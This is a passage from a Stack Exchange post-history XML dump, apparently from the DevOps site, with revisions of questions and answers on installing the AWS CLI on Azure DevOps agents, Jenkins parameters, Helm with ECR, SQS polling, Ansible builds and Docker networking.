4.0" />
  <row Id="29569" PostHistoryTypeId="1" PostId="9874" RevisionGUID="a89bf5ed-21ab-45e2-a30e-aba6c24b9a23" CreationDate="2019-11-20T20:26:51.030" UserId="18292" Text="How to install aws cli on a self-hosted azure DevOps Windows agent?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29570" PostHistoryTypeId="3" PostId="9874" RevisionGUID="a89bf5ed-21ab-45e2-a30e-aba6c24b9a23" CreationDate="2019-11-20T20:26:51.030" UserId="18292" Text="&lt;azure-devops&gt;&lt;python&gt;&lt;azure-pipelines&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29571" PostHistoryTypeId="5" PostId="9874" RevisionGUID="345fc3b0-fd5a-46c2-be57-dde00f79f56e" CreationDate="2019-11-20T21:00:09.097" UserId="18292" Comment="added another thing that I have tried" Text="I have quite some difficulties installing **aws cli** on a self-hosted Azure DevOps Windows agent as part of a pipeline. Does anyone have a working solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## What I have tried so far:&#xD;&#xA;&#xD;&#xA;### a) install aws cli via pip&#xD;&#xA;&#xD;&#xA;Firstly, I install Python (tried both; Python2 and Python3) within the pipeline (Powershell) by downloading and extracting a tar file. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;(New-Object System.Net.WebClient).DownloadFile(&quot;$(python3_download_url)&quot;, &quot;.\Python.tar&quot;)&#xD;&#xA;Expand-7Zip .\Python.tar .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Secondly, I use the freshly installed Python for installing aws cli. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$(PYTHON364EXE) -m pip install awscli&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Aws cli is then installed in the `SCRIPTS` directory, as expected. &#xD;&#xA;&#xD;&#xA;When I try to execute aws.cmd, I receive an error message:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;File association not found for extension .py&#xD;&#xA;'&quot;&quot;' is not recognized as an internal or external command,&#xD;&#xA;operable program or batch file&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Similar issues are described here: [1], [2], [3]. The suggested solution is, to associate python files with the freshly installed python executable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;assoc .py=pyautofile&#xD;&#xA;ftype pyautofile=&quot;$(PYTHON364EXE)&quot; &quot;%1&quot; %*&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I do not feel this is appropriate for an azure agent:&#xD;&#xA;&#xD;&#xA;1. It does not feel right to use Admin permissions for a simple build&#xD;&#xA;2. I am worried that the proposed change would impact *all* agents and the entire host server, while I need it for only one specific agent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another option would be, to install the required tools system-wide (python, aws). That would, however, make it difficult to try out a specific (new?) version of python or aws cli.&#xD;&#xA;&#xD;&#xA;### b) install aws cli via extracted msi package&#xD;&#xA;&#xD;&#xA;... extracted the contents of the msi package via `lessmsi`, then run the aws cli:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;C:\AWS&gt; aws&#xD;&#xA;failed to create process.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This obviously does not work either.&#xD;&#xA;[1]: https://stackoverflow.com/questions/47459536/file-association-not-found-for-extension-py&#xD;&#xA;[2]: https://github.com/awslabs/aws-shell/issues/83&#xD;&#xA;[3]: https://github.com/aws/aws-cli/issues/3518&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29572" PostHistoryTypeId="5" PostId="9874" RevisionGUID="629bb57c-953e-4803-add9-59c781c99029" CreationDate="2019-11-20T21:10:58.137" UserId="18292" Comment="added a 3rd way tried" Text="I have quite some difficulties installing **aws cli** on a self-hosted Azure DevOps Windows agent as part of a pipeline. Does anyone have a working solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## What I have tried so far:&#xD;&#xA;&#xD;&#xA;### a) install aws cli via pip&#xD;&#xA;&#xD;&#xA;Firstly, I install Python (tried both; Python2 and Python3) within the pipeline (Powershell) by downloading and extracting a tar file. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;(New-Object System.Net.WebClient).DownloadFile(&quot;$(python3_download_url)&quot;, &quot;.\Python.tar&quot;)&#xD;&#xA;Expand-7Zip .\Python.tar .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Secondly, I use the freshly installed Python for installing aws cli. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$(PYTHON364EXE) -m pip install awscli&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Aws cli is then installed in the `SCRIPTS` directory, as expected. &#xD;&#xA;&#xD;&#xA;When I try to execute aws.cmd, I receive an error message:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;File association not found for extension .py&#xD;&#xA;'&quot;&quot;' is not recognized as an internal or external command,&#xD;&#xA;operable program or batch file&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Similar issues are described here: [1], [2], [3]. The suggested solution is, to associate python files with the freshly installed python executable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;assoc .py=pyautofile&#xD;&#xA;ftype pyautofile=&quot;$(PYTHON364EXE)&quot; &quot;%1&quot; %*&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I do not feel this is appropriate for an azure agent:&#xD;&#xA;&#xD;&#xA;1. It does not feel right to use Admin permissions for a simple build&#xD;&#xA;2. I am worried that the proposed change would impact *all* agents and the entire host server, while I need it for only one specific agent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another option would be, to install the required tools system-wide (python, aws). That would, however, make it difficult to try out a specific (new?) version of python or aws cli.&#xD;&#xA;&#xD;&#xA;### b) install aws cli via extracted msi package&#xD;&#xA;&#xD;&#xA;... extracted the contents of the msi package via `lessmsi`, then run the aws cli:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;C:\AWS&gt; aws&#xD;&#xA;failed to create process.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This obviously does not work either.&#xD;&#xA;&#xD;&#xA;### c) Use AWS Tools for Microsoft Visual Studio Team Services&#xD;&#xA;&#xD;&#xA;This is an extension for Azure DevOps, maintained by AWS. It works, but a) we have legacy scripts of a certain complexity using aws cli we cannot migrate, and b) there might be features available in aws cli which are not available in the extension.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: https://stackoverflow.com/questions/47459536/file-association-not-found-for-extension-py&#xD;&#xA;[2]: https://github.com/awslabs/aws-shell/issues/83&#xD;&#xA;[3]: https://github.com/aws/aws-cli/issues/3518&#xD;&#xA;[4]: https://marketplace.visualstudio.com/items?itemName=AmazonWebServices.aws-vsts-tools" ContentLicense="CC BY-SA 4.0" />
  <row Id="29573" PostHistoryTypeId="2" PostId="9875" RevisionGUID="2ad031f9-8a91-4099-af35-25eca8baf513" CreationDate="2019-11-20T21:28:37.870" UserId="18271" Text="As per the [link][1], You can add keys via metadata. You can try the following. &#xD;&#xA;&#xD;&#xA;       metadata:&#xD;&#xA;         ssh-keys: &quot;[USERNAME]:ssh-rsa [NEW_KEY_VALUE] [USERNAME]&quot;&#xD;&#xA;&#xD;&#xA;Replace [USERNAME] &amp; [NEW_KEY_VALUE] with actual key value. &#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#instance-only" ContentLicense="CC BY-SA 4.0" />
  <row Id="29574" PostHistoryTypeId="5" PostId="9874" RevisionGUID="3294645e-ef27-4b1b-b035-c01dd982b9ad" CreationDate="2019-11-20T22:31:44.837" UserId="18292" Comment="added 2 more ways tried" Text="I have quite some difficulties installing **aws cli** on a self-hosted Azure DevOps Windows agent as part of a pipeline. Does anyone have a working solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## What I have tried so far:&#xD;&#xA;&#xD;&#xA;### a) install aws cli via pip&#xD;&#xA;&#xD;&#xA;Firstly, I install Python (tried both; Python2 and Python3) within the pipeline (Powershell) by downloading and extracting a tar file. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;(New-Object System.Net.WebClient).DownloadFile(&quot;$(python3_download_url)&quot;, &quot;.\Python.tar&quot;)&#xD;&#xA;Expand-7Zip .\Python.tar .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Secondly, I use the freshly installed Python for installing aws cli. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$(PYTHON364EXE) -m pip install awscli&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Aws cli is then installed in the `SCRIPTS` directory, as expected. &#xD;&#xA;&#xD;&#xA;When I try to execute aws.cmd, I receive an error message:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;File association not found for extension .py&#xD;&#xA;'&quot;&quot;' is not recognized as an internal or external command,&#xD;&#xA;operable program or batch file&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Similar issues are described here: [1], [2], [3]. The suggested solution is, to associate python files with the freshly installed python executable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;assoc .py=pyautofile&#xD;&#xA;ftype pyautofile=&quot;$(PYTHON364EXE)&quot; &quot;%1&quot; %*&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I do not feel this is appropriate for an azure agent:&#xD;&#xA;&#xD;&#xA;1. It does not feel right to use Admin permissions for a simple build&#xD;&#xA;2. I am worried that the proposed change would impact *all* agents and the entire host server, while I need it for only one specific agent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another option would be, to install the required tools system-wide (python, aws). That would, however, make it difficult to try out a specific (new?) version of python or aws cli.&#xD;&#xA;&#xD;&#xA;### b) install aws cli via extracted msi package&#xD;&#xA;&#xD;&#xA;... extracted the contents of the msi package via `lessmsi`, then run the aws cli:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;C:\AWS&gt; aws&#xD;&#xA;failed to create process.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This obviously does not work either. - It actually does work properly with aws cli version 2, but not with aws cli version 1. Version 2 is not recommended for use in production yet.&#xD;&#xA;&#xD;&#xA;### c) Use AWS Tools for Microsoft Visual Studio Team Services&#xD;&#xA;&#xD;&#xA;This is an extension for Azure DevOps, maintained by AWS. It works, but a) we have legacy scripts of a certain complexity using aws cli we cannot migrate, and b) there might be features available in aws cli which are not available in the extension.&#xD;&#xA;&#xD;&#xA;### d) call aws as python module&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$(PYTHON364EXE) -m awscli --version&#xD;&#xA;```&#xD;&#xA;This works, but it means I would have to adapt and modify the legacy script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: https://stackoverflow.com/questions/47459536/file-association-not-found-for-extension-py&#xD;&#xA;[2]: https://github.com/awslabs/aws-shell/issues/83&#xD;&#xA;[3]: https://github.com/aws/aws-cli/issues/3518&#xD;&#xA;[4]: https://marketplace.visualstudio.com/items?itemName=AmazonWebServices.aws-vsts-tools" ContentLicense="CC BY-SA 4.0" />
  <row Id="29575" PostHistoryTypeId="4" PostId="9869" RevisionGUID="a5a8c08f-a10b-4009-b5cb-3b1e07dd232f" CreationDate="2019-11-20T23:11:49.007" UserId="18007" Comment="edited title" Text="How to check if Credentials parameter is none in pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="29576" PostHistoryTypeId="5" PostId="9869" RevisionGUID="a5a8c08f-a10b-4009-b5cb-3b1e07dd232f" CreationDate="2019-11-20T23:11:49.007" UserId="18007" Comment="edited title" Text="I have a pipeline job which includes Credentials parameter:&#xD;&#xA;[![pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;In the pipeline file I have the below code:&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;                steps{&#xD;&#xA;                    script{&#xD;&#xA;                            amd_distribution_create_bundle credential_id: params.DISTRIBUTION_CREDENTIAL_ID, distribution_url: params.DISTRIBUTION_URL, gps_credential_id: params.GPG_PASSPHRASE, bundle_name: params.BUNDLE_NAME, bundle_version: BUNDLE_VERSION&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;how can I ask before calling the groovy method 'amd_distribution_create_bundle', if GPG_PASSPHRASE field is none or not? if it's none, I want to assign some value to it.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/raFqf.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29577" PostHistoryTypeId="2" PostId="9876" RevisionGUID="fb400bd4-d357-4e23-a6ef-4af3087aa8d5" CreationDate="2019-11-20T23:19:21.457" UserId="18248" Text="I think what you are looking for is lifecycle hooks.&#xD;&#xA;&#xD;&#xA;https://kitchen.ci/docs/reference/lifecycle-hooks/&#xD;&#xA;&#xD;&#xA;For example, you could have this in you kitchen.yml file.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;suites:&#xD;&#xA;- name: default&#xD;&#xA;  lifecycle:&#xD;&#xA;    post_verify:&#xD;&#xA;    - local: &lt;script&gt;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29578" PostHistoryTypeId="2" PostId="9877" RevisionGUID="77a26d81-e92a-4eac-ba15-dd885dbe520c" CreationDate="2019-11-20T23:46:20.070" UserId="11221" Text="I'm using Helm v3 with AWS ECR on a Kubernetes cluster that was creating using Kops. I have checked and the role kops assigned to the nodes does have ECR permissions. When I deploy my helm chart I just get `imagepullbackoff` when doing `kubectl get pods` in the correct namespace. &#xD;&#xA;&#xD;&#xA;Below is some of my helm chart code, I hope this is everything that's needed to debug this issue. BTW I have looked around on SO and google, both come up short on ECR with Helm and nothing for Helm 3 - was released recently. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Inside my `values.yaml`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;image:&#xD;&#xA;  repository: &lt;number&gt;.dkr.ecr.us-east-1.amazonaws.com/apigw&#xD;&#xA;  # tag: latest&#xD;&#xA;  tag: ef86dfe0b703&#xD;&#xA;  pullPolicy: IfNotPresent&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that the tag there is a git commit ID and spinnaker will change that on each deployment so here being static is just to test.&#xD;&#xA;&#xD;&#xA;I was following this guide and as a result changed some things that might have effected it. &#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/blogs/opensource/deployment-pipeline-spinnaker-kubernetes/&#xD;&#xA;&#xD;&#xA;Main one I think that makes a difference is &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; imagePullPolicy: &quot;{{ .Values.image.pullPolicy }}:{{ .Values.image.tag}}&quot;&#xD;&#xA;```&#xD;&#xA;to &#xD;&#xA;```&#xD;&#xA;imagePullPolicy: {{ .Values.image.pullPolicy }}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However... If I change it back I get this error when trying to apply the helm chart&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: Deployment.apps &quot;apigw&quot; is invalid: spec.template.spec.containers[0].imagePullPolicy: Unsupported value: &quot;IfNotPresent:ef86dfe0b703&quot;: supported values: &quot;Always&quot;, &quot;IfNotPresent&quot;, &quot;Never&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29579" PostHistoryTypeId="1" PostId="9877" RevisionGUID="77a26d81-e92a-4eac-ba15-dd885dbe520c" CreationDate="2019-11-20T23:46:20.070" UserId="11221" Text="Unable to get Helm to work with ECR" ContentLicense="CC BY-SA 4.0" />
  <row Id="29580" PostHistoryTypeId="3" PostId="9877" RevisionGUID="77a26d81-e92a-4eac-ba15-dd885dbe520c" CreationDate="2019-11-20T23:46:20.070" UserId="11221" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29582" PostHistoryTypeId="5" PostId="9869" RevisionGUID="5c6c8108-8ba2-4689-a56d-c36f9447a2d3" CreationDate="2019-11-20T23:53:41.103" UserId="18007" Comment="clarify the question" Text="I saw many similar threads on empty fields, but how does it work with credentials parameter where the field is none?&#xD;&#xA;[![pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/raFqf.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29583" PostHistoryTypeId="4" PostId="9869" RevisionGUID="5c6c8108-8ba2-4689-a56d-c36f9447a2d3" CreationDate="2019-11-20T23:53:41.103" UserId="18007" Comment="clarify the question" Text="How can I check none value for credentials parameter in pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29584" PostHistoryTypeId="5" PostId="9869" RevisionGUID="3631c721-5920-4399-85f6-4ef91b10b74e" CreationDate="2019-11-21T00:15:11.467" UserId="18007" Comment="added 153 characters in body" Text="I saw many similar threads on empty fields, but how does it work with credentials parameter where the field is none?&#xD;&#xA;[![pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;currently without validation if fails with error:&#xD;&#xA;&#xD;&#xA;    org.jenkinsci.plugins.credentialsbinding.impl.CredentialNotFoundException: ${GPG_PASSPHRASE}&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/raFqf.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29587" PostHistoryTypeId="5" PostId="9869" RevisionGUID="f813af80-3a6e-4807-9f53-9cca1f1ecc62" CreationDate="2019-11-21T06:33:11.710" UserId="18007" Comment="added 351 characters in body; edited title" Text="I have a pipeline job which includes Credentials parameter:&#xD;&#xA;[![Pipeline][2]][2]&#xD;&#xA;&#xD;&#xA;In the pipeline file I have the below code:&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;    			steps{&#xD;&#xA;    				script{&#xD;&#xA;    				    	amd_distribution_create_bundle credential_id: params.DISTRIBUTION_CREDENTIAL_ID, distribution_url: params.DISTRIBUTION_URL, gps_credential_id: params.GPG_PASSPHRASE, bundle_name: params.BUNDLE_NAME, bundle_version: BUNDLE_VERSION&#xD;&#xA;    				}&#xD;&#xA;    			}&#xD;&#xA;    	    }&#xD;&#xA;&#xD;&#xA;how can I ask before calling the groovy method 'amd_distribution_create_bundle', if some field is empty?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: https://i.stack.imgur.com/Z3SoQ.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="29588" PostHistoryTypeId="4" PostId="9869" RevisionGUID="f813af80-3a6e-4807-9f53-9cca1f1ecc62" CreationDate="2019-11-21T06:33:11.710" UserId="18007" Comment="added 351 characters in body; edited title" Text="How to check if pipeline parameter is empty" ContentLicense="CC BY-SA 4.0" />
  <row Id="29592" PostHistoryTypeId="5" PostId="9869" RevisionGUID="65365b7f-55c5-4f2c-82d4-0e08761f67dc" CreationDate="2019-11-21T06:39:15.610" UserId="18007" Comment="deleted 6 characters in body" Text="I have a pipeline job which includes some parameters:&#xD;&#xA;[![Pipeline][2]][2]&#xD;&#xA;&#xD;&#xA;In the pipeline file I have the below code:&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;    			steps{&#xD;&#xA;    				script{&#xD;&#xA;    				    	amd_distribution_create_bundle credential_id: params.DISTRIBUTION_CREDENTIAL_ID, distribution_url: params.DISTRIBUTION_URL, gps_credential_id: params.GPG_PASSPHRASE, bundle_name: params.BUNDLE_NAME, bundle_version: BUNDLE_VERSION&#xD;&#xA;    				}&#xD;&#xA;    			}&#xD;&#xA;    	    }&#xD;&#xA;&#xD;&#xA;how can I ask before calling the groovy method 'amd_distribution_create_bundle', if some field is empty?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: https://i.stack.imgur.com/Z3SoQ.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="29593" PostHistoryTypeId="2" PostId="9879" RevisionGUID="d38bd788-258f-458d-aac1-81d7c4a9c920" CreationDate="2019-11-21T09:22:35.720" UserId="8251" Text="When using event driven processing of work with AWS SQS and worker clients. the use of long polling is often recommended. AWS documents this [here][1]&#xD;&#xA;&#xD;&#xA;Essentially when there are no message in the queue, the worker does not need to keep making requests to the queue (this reduces call costs), but new messages are still delivered immediately to a worker that is long polling.&#xD;&#xA;&#xD;&#xA;Having build small systems a couple of times with SQS now, I question what the benefit of short polling is. I imagine it may be slightly faster, as only a subset of SQS servers are polled when short polling, but if that is the only downside, what sort of additional delay am I looking at? Does it depend on the number of messages I am processing? (Does SQS servers scale based on the number of messages?)&#xD;&#xA;&#xD;&#xA;What other downsides are there, if any?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html#sqs-short-long-polling-differences" ContentLicense="CC BY-SA 4.0" />
  <row Id="29594" PostHistoryTypeId="1" PostId="9879" RevisionGUID="d38bd788-258f-458d-aac1-81d7c4a9c920" CreationDate="2019-11-21T09:22:35.720" UserId="8251" Text="AWS SQS - use case for &quot;short polling&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29595" PostHistoryTypeId="3" PostId="9879" RevisionGUID="d38bd788-258f-458d-aac1-81d7c4a9c920" CreationDate="2019-11-21T09:22:35.720" UserId="8251" Text="&lt;amazon-web-services&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29599" PostHistoryTypeId="2" PostId="9881" RevisionGUID="2fdefb50-bf04-42d3-9b72-4b9097daab7f" CreationDate="2019-11-21T14:41:59.673" UserId="18304" Text="So I have have an Ansible Task that extracts a programs sourcecode zip into a certain directory and is then supposed to compile and install it.&#xD;&#xA;The extraction of the zip works fine, but then I need to execute the commands:&#xD;&#xA;```&#xD;&#xA;./configure&#xD;&#xA;make&#xD;&#xA;sudo make install&#xD;&#xA;```&#xD;&#xA;And these commands need to be execute from within the extracted directory. I tried several things to execute it, I couldnt get it to work.&#xD;&#xA;&#xD;&#xA;      - name: doit&#xD;&#xA;        command: chdir=/tmp/proftpd/ ./configure &amp;&amp; make &amp;&amp; make install&#xD;&#xA;        become: yes&#xD;&#xA;&#xD;&#xA;I tried this but it fails:&#xD;&#xA;&#xD;&#xA;      TASK [doit] ********************************************************************&#xD;&#xA;    fatal: [centos]: FAILED! =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: [&quot;./configure&quot;, &quot;&amp;&amp;&quot;, &quot;make&quot;, &quot;&amp;&amp;&quot;, &quot;make&quot;, &quot;install&quot;], &quot;delta&quot;: &quot;0:00:00.152824&quot;, &quot;end&quot;: &quot;2019-11-21 14:20:48.656070&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2019-11-21 14:20:48.503246&quot;, &quot;stderr&quot;: &quot;configure: WARNING: you should use --build, --host, --target\nconfigure: WARNING: invalid host type: &amp;&amp;\nconfigure: WARNING: you should use --build, --host, --target\nconfigure: WARNING: you should use --build, --host, --target\nconfigure: WARNING: invalid host type: &amp;&amp;\nconfigure: WARNING: you should use --build, --host, --target\nconfigure: WARNING: you should use --build, --host, --target\nInvalid configuration `&amp;&amp;': machine `&amp;&amp;' not recognized\nconfigure: error: /bin/sh .//config.sub &amp;&amp; failed&quot;, &quot;stderr_lines&quot;: [&quot;configure: WARNING: you should use --build, --host, --target&quot;, &quot;configure: WARNING: invalid host type: &amp;&amp;&quot;, &quot;configure: WARNING: you should use --build, --host, --target&quot;, &quot;configure: WARNING: you should use --build, --host, --target&quot;, &quot;configure: WARNING: invalid host type: &amp;&amp;&quot;, &quot;configure: WARNING: you should use --build, --host, --target&quot;, &quot;configure: WARNING: you should use --build, --host, --target&quot;, &quot;Invalid configuration `&amp;&amp;': machine `&amp;&amp;' not recognized&quot;, &quot;configure: error: /bin/sh .//config.sub &amp;&amp; failed&quot;], &quot;stdout&quot;: &quot;checking build system type... &quot;, &quot;stdout_lines&quot;: [&quot;checking build system type... &quot;]}&#xD;&#xA;&#xD;&#xA;How can I achieve this properly with ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29600" PostHistoryTypeId="1" PostId="9881" RevisionGUID="2fdefb50-bf04-42d3-9b72-4b9097daab7f" CreationDate="2019-11-21T14:41:59.673" UserId="18304" Text="Ansible configure and compile in directory" ContentLicense="CC BY-SA 4.0" />
  <row Id="29601" PostHistoryTypeId="3" PostId="9881" RevisionGUID="2fdefb50-bf04-42d3-9b72-4b9097daab7f" CreationDate="2019-11-21T14:41:59.673" UserId="18304" Text="&lt;ansible&gt;&lt;configuration-management&gt;&lt;vagrant&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29602" PostHistoryTypeId="2" PostId="9882" RevisionGUID="1ef13e38-eff8-48d4-88b5-c13e45089a32" CreationDate="2019-11-21T15:01:14.880" UserId="18304" Text="I just figured it out.&#xD;&#xA;Splitting it up into more commands worked perfectly&#xD;&#xA;&#xD;&#xA;      - name: doit&#xD;&#xA;        command: chdir=/tmp/proftpd/ ./configure&#xD;&#xA;    &#xD;&#xA;      - name: a shit here we go again&#xD;&#xA;        command: chdir=/tmp/proftpd/ make&#xD;&#xA;      &#xD;&#xA;      - name: another one&#xD;&#xA;        command: chdir=/tmp/proftpd/ sudo make install" ContentLicense="CC BY-SA 4.0" />
  <row Id="29603" PostHistoryTypeId="2" PostId="9883" RevisionGUID="935bb142-05e4-402b-aa5e-0fad3953a1b4" CreationDate="2019-11-21T15:02:12.263" UserId="354" Text="Ansible `command` module requires only one command and cannot be changed. You should use the `shell` module at the very least. Note however that this will break the idempotency of the playbook.&#xD;&#xA;&#xD;&#xA;You should probably split the task up into three:&#xD;&#xA;&#xD;&#xA;- configure task using the `shell` module. Use `creates: ` to tell the task to be skipped if the configure task has already created the expected output file&#xD;&#xA;- make task, using [the Ansible Make module](https://docs.ansible.com/ansible/latest/modules/make_module.html#make-module)&#xD;&#xA;- similarly for the make install task.&#xD;&#xA;&#xD;&#xA;This should yield the same actual result, but would be more likely to be idempotent." ContentLicense="CC BY-SA 4.0" />
  <row Id="29604" PostHistoryTypeId="2" PostId="9884" RevisionGUID="42ac3301-2779-4c89-b374-cb237d5b3248" CreationDate="2019-11-21T15:33:23.863" UserId="18303" Text="Docker does not allow to connect a container to the host network and any other Docker bridge network at the same time. I will try to illustrate the reason with an example:&#xD;&#xA;&#xD;&#xA;- Let us think of a container C1. Hypothetically, C1 would be connected to the host network (--net=host) and a Docker bridge network Br1 (--net=Br1).&#xD;&#xA;- A second container, let us say C2, is connected to Br1.&#xD;&#xA;&#xD;&#xA;With the above setup, my guess is that the host network is visible from C2, and I suppose this is the reason why Docker automatically prevents us from unintentionally exposing the host network to non-host-specified containers.&#xD;&#xA;&#xD;&#xA;That being said, if we have a set of containers, and we want all of them to be interconnected, with just a single container having access to the host network, my approach would be:&#xD;&#xA;&#xD;&#xA;- [C2,...,CN] are connected to a user-defined Docker bridge Br1 (--net=Br1)&#xD;&#xA;- C1 is connected to the host network (--net=host)&#xD;&#xA;- C1 exposes a port in order to be accessible from the rest of containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="29605" PostHistoryTypeId="2" PostId="9885" RevisionGUID="d23daa69-67be-4080-9ddc-85973a792631" CreationDate="2019-11-21T16:04:40.633" UserId="15792" Text="While you can benchmark this yourself, [benchmark testing][2] has shown that there isn't much of a difference in time between long and short polling when the queue is full.  Additionally, with long polling you always have data coming back unlike short polling.&#xD;&#xA;&#xD;&#xA;As for when to use short polling the [AWS FAQ][1] covers this:&#xD;&#xA;&#xD;&#xA;&gt; For example, if your application uses a single thread to poll multiple queues, switching from short polling to long polling will probably not work, because the single thread will wait for the long-poll timeout on any empty queues, delaying the processing of any queues that might contain messages.&#xD;&#xA;&#xD;&#xA;Additionally:&#xD;&#xA;&#xD;&#xA;&gt;  ..if your application expects an immediate response from a ReceiveMessage call, you might not be able to take advantage of long polling without some modifications to your application.&#xD;&#xA;&#xD;&#xA;If you don't want to deal with asynchronous queues and multiple threads handling the queues in your application then short polling may provide an easier development path (although you'll have to deal with empty responses).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/sqs/faqs/&#xD;&#xA;  [2]: http://pragmaticnotes.com/2017/11/20/amazon-sqs-long-polling-versus-short-polling/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29606" PostHistoryTypeId="5" PostId="9884" RevisionGUID="69e0313a-bebf-48fe-a211-fe4fd730ba40" CreationDate="2019-11-21T16:05:10.900" UserId="18303" Comment="added 156 characters in body" Text="Docker does not allow to connect a container to the host network and any other Docker bridge network at the same time. I will try to illustrate the reason with an example:&#xD;&#xA;&#xD;&#xA;- Let us think of a container C1. Hypothetically, C1 would be connected to the host network (--net=host) and a Docker bridge network Br1 (--net=Br1).&#xD;&#xA;- A second container, let us say C2, is connected to Br1.&#xD;&#xA;&#xD;&#xA;With the above setup, my guess is that the host network is visible from C2, and I suppose this is the reason why Docker automatically prevents us from unintentionally exposing the host network to non-host-specified containers.&#xD;&#xA;&#xD;&#xA;That being said, if we have a set of containers, and we want all of them to be interconnected, with just a single container having access to the host network, my approach would be:&#xD;&#xA;&#xD;&#xA;- [C2,...,CN] are connected to a user-defined Docker bridge Br1 (--net=Br1)&#xD;&#xA;- C1 is connected to the host network (--net=host)&#xD;&#xA;- C1 exposes a port in order to be accessible from the rest of containers&#xD;&#xA;&#xD;&#xA;EDIT: We would still have to adapt iptables policies in such a way that C1 can be reached from the rest of containers (see https://docs.docker.com/network/iptables/)" ContentLicense="CC BY-SA 4.0" />
